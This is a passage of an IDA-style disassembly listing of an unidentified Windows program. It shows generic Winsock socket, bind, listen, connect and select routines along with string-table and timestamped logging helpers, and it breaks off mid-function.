		mov	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------

locret_419A30:				; CODE XREF: ___:00401528j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A50	proc near		; CODE XREF: sub_401FE1j
		xor	al, al
		retn	4
sub_419A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_40152Dj

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_8]
		cmp	eax, 1
		setnl	al
		mov	byte ptr [esp+arg_C], al
		push	ecx
		mov	eax, [esp+4+arg_C]
		push	edx
		push	eax
		push	0
		mov	ecx, offset byte_4D8075
		call	sub_401118
		retn
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419AB0:				; CODE XREF: ___:0040150Fj
		sub	esp, 0Ch
		mov	eax, [esp+20h]
		push	ebx
		push	ebp
		push	esi
		xor	esi, esi
		push	edi
		cmp	eax, esi
		mov	dword ptr [esp+18h], 80h
		mov	[esp+10h], esi
		jz	short loc_419AE3
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, esi
		mov	[esp+10h], eax
		jz	short loc_419AE3
		mov	[esp+18h], eax


loc_419AE3:				; CODE XREF: ___:00419ACBj
					; ___:00419ADDj
		mov	edi, [esp+28h]
		mov	ebx, [esp+24h]
		mov	ebp, [esp+20h]
		mov	[esp+14h], esi
		mov	esi, offset dword_508E2C


loc_419AF8:				; CODE XREF: ___:00419B49j
		mov	ecx, [esp+14h]
		mov	eax, [esp+18h]
		cmp	ecx, eax
		jge	short loc_419B4B
		cmp	byte ptr [esi],	0
		jz	short loc_419B34
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_419B28
		mov	ecx, [esp+10h]
		test	ecx, ecx
		jnz	short loc_419B28
		push	eax
		push	esi
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_419B34


loc_419B28:				; CODE XREF: ___:00419B0Fj
					; ___:00419B17j
		push	edi
		push	esi
		push	ebx
		push	ebp
		call	sub_40152D
		add	esp, 10h


loc_419B34:				; CODE XREF: ___:00419B07j
					; ___:00419B26j
		mov	edx, [esp+14h]
		add	esi, 80h
		inc	edx
		cmp	esi, offset dword_50CE2C
		mov	[esp+14h], edx
		jl	short loc_419AF8


loc_419B4B:				; CODE XREF: ___:00419B02j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: ___:00402289j
		push	ebx
		mov	ebx, dword_511B04
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_508E2C


loc_419BA2:				; CODE XREF: ___:00419BBEj
		cmp	byte ptr [esi],	0
		jz	short loc_419BB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419BC6


loc_419BB2:				; CODE XREF: ___:00419BA5j
		add	esi, 80h
		cmp	esi, offset dword_50CE2C
		jl	short loc_419BA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419BC6:				; CODE XREF: ___:00419BB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419BE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	edi, dword_511B08
		mov	esi, offset dword_50CE2C


loc_419BFB:				; CODE XREF: sub_419BE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419C0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419C0F:				; CODE XREF: sub_419BE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_508E2C
		jge	short loc_419BFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_508E2C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419BE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419CB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_511B08
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419D21
		mov	[edx+180h], al


loc_419D21:				; CODE XREF: ___:00419D19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419E32


loc_419D3F:				; CODE XREF: ___:00419E25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419E00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419E00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419DDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	sub_5FC011
		nop
		add	esp, 14h
		jmp	short loc_419E00
; ---------------------------------------------------------------------------


loc_419DDD:				; CODE XREF: ___:00419DAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		call	sub_5FC011
		nop
		add	esp, 10h


loc_419E00:				; CODE XREF: ___:00419D8Aj
					; ___:00419D91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_511B04
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419E2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419D3F


loc_419E2B:				; CODE XREF: ___:00419E16j
		mov	esi, [esp+614h]


loc_419E32:				; CODE XREF: ___:00419D39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419ED0:				; CODE XREF: ___:004018DEj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419EEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419EEE:				; CODE XREF: ___:00419EE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419F39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F39:				; CODE XREF: ___:00419F2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419F51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419F51:				; CODE XREF: ___:00419F47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419F90:				; CODE XREF: ___:00401E83j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4E02A5


loc_419F98:				; CODE XREF: ___:00419FA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419FAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E7E15
		jle	short loc_419F98


loc_419FAA:				; CODE XREF: ___:00419F9Bj
		cmp	edi, 13h
		jle	short loc_419FB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419FB4:				; CODE XREF: ___:00419FADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4E01ABh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5FC011
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FC011
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A050	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D8735


loc_41A058:				; CODE XREF: sub_41A050+18j
		cmp	dword ptr [eax], 0
		jz	short loc_41A06A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E02A5
		jle	short loc_41A058


loc_41A06A:				; CODE XREF: sub_41A050+Bj
		cmp	edi, 13h
		jle	short loc_41A074
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A074:				; CODE XREF: sub_41A050+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_511C00
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D863Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5FC011
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5FC011
		add	esp, 10h
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41A050	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401C49j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43F0BC
		mov	eax, dword_50DAF8
		test	eax, eax
		jnz	short loc_41A148
		mov	eax, dword_50DAF8
		inc	eax
		mov	dword_50DAF8, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A155
; ---------------------------------------------------------------------------


loc_41A148:				; CODE XREF: sub_41A110+19j
		mov	edx, dword_50DAF8
		inc	edx
		mov	dword_50DAF8, edx


loc_41A155:				; CODE XREF: sub_41A110+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A1E0	proc near		; CODE XREF: ___:004018E3j sub_401B09j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FE6
		test	[esp+4+arg_0], 1
		jz	short loc_41A1F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A1F8:				; CODE XREF: sub_41A1E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A1E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A210	proc near		; CODE XREF: sub_401FE6j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43F0BC
		test	al, al
		jnz	short loc_41A225
		call	sub_4014E7


loc_41A225:				; CODE XREF: sub_41A210+Ej
		mov	eax, 1
		mov	ecx, dword_50DAF8
		cmp	ecx, eax
		jle	short loc_41A240
		mov	eax, dword_50DAF8
		dec	eax
		mov	dword_50DAF8, eax

locret_41A23F:				; CODE XREF: sub_41A210:loc_41A240j
		retn
; ---------------------------------------------------------------------------


loc_41A240:				; CODE XREF: sub_41A210+22j
		jnz	short locret_41A23F
		mov	ecx, dword_50DAF8
		dec	ecx
		mov	dword_50DAF8, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A280:				; CODE XREF: ___:004015AAj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BFCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jz	loc_41A331
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A2B9
		mov	al, 1
		jmp	short loc_41A331
; ---------------------------------------------------------------------------


loc_41A2B9:				; CODE XREF: ___:0041A2B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401640
		push	eax
		mov	ecx, esi
		call	sub_4020E5
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40187A
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A331:				; CODE XREF: ___:0041A2A5j
					; ___:0041A2B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A390	proc near		; CODE XREF: sub_40196Aj
		mov	al, byte_444DAC
		retn
sub_41A390	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A3B0	proc near		; CODE XREF: sub_4020E5j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A3D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3D0:				; CODE XREF: sub_41A3B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A571
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A40A
		mov	ecx, esi
		call	sub_4014E7
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A40A:				; CODE XREF: sub_41A3B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A419
		push	1
		jmp	short loc_41A41B
; ---------------------------------------------------------------------------


loc_41A419:				; CODE XREF: sub_41A3B0+63j
		push	0


loc_41A41B:				; CODE XREF: sub_41A3B0+67j
		mov	ecx, esi
		call	sub_4018CA
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_511C50
		test	eax, eax
		jge	short loc_41A4BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A4AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A4AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A3B0+D6j
					; sub_41A3B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A56A


loc_41A4BC:				; CODE XREF: sub_41A3B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_511C94
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A530


loc_41A4FB:				; CODE XREF: sub_41A3B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A545
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A514
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A545


loc_41A514:				; CODE XREF: sub_41A3B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A4FB


loc_41A530:				; CODE XREF: sub_41A3B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A561
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A545:				; CODE XREF: sub_41A3B0+152j
					; sub_41A3B0+162j
		mov	ecx, esi
		call	sub_4014E7
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A561:				; CODE XREF: sub_41A3B0+189j
		push	0


loc_41A563:				; CODE XREF: sub_41A3B0+193j
		mov	ecx, esi
		call	sub_4018CA


loc_41A56A:				; CODE XREF: sub_41A3B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A571:				; CODE XREF: sub_41A3B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A3B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A600	proc near		; CODE XREF: sub_4014E7j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A61A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A61A:				; CODE XREF: sub_41A600+Cj
					; sub_41A600+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A640	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_448F30
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6B0	proc near		; CODE XREF: sub_401492j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A6C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6C6:				; CODE XREF: sub_41A6B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A77F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A6FB
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A6FB:				; CODE XREF: sub_41A6B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A754
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A754:				; CODE XREF: sub_41A6B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A778
		mov	ecx, esi
		call	sub_4014E7
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A778:				; CODE XREF: sub_41A6B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A77F:				; CODE XREF: sub_41A6B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A6B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_401B95j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41A7EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7EE:				; CODE XREF: sub_41A7D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A805
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A805:				; CODE XREF: sub_41A7D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A881
		call	sub_40196A
		test	al, al
		jz	short loc_41A874
		mov	edi, dword_511C94


loc_41A81E:				; CODE XREF: sub_41A7D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A86B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A881


loc_41A86B:				; CODE XREF: sub_41A7D0+84j
		call	sub_40196A
		test	al, al
		jnz	short loc_41A81E


loc_41A874:				; CODE XREF: sub_41A7D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A7D0+3Dj
					; sub_41A7D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
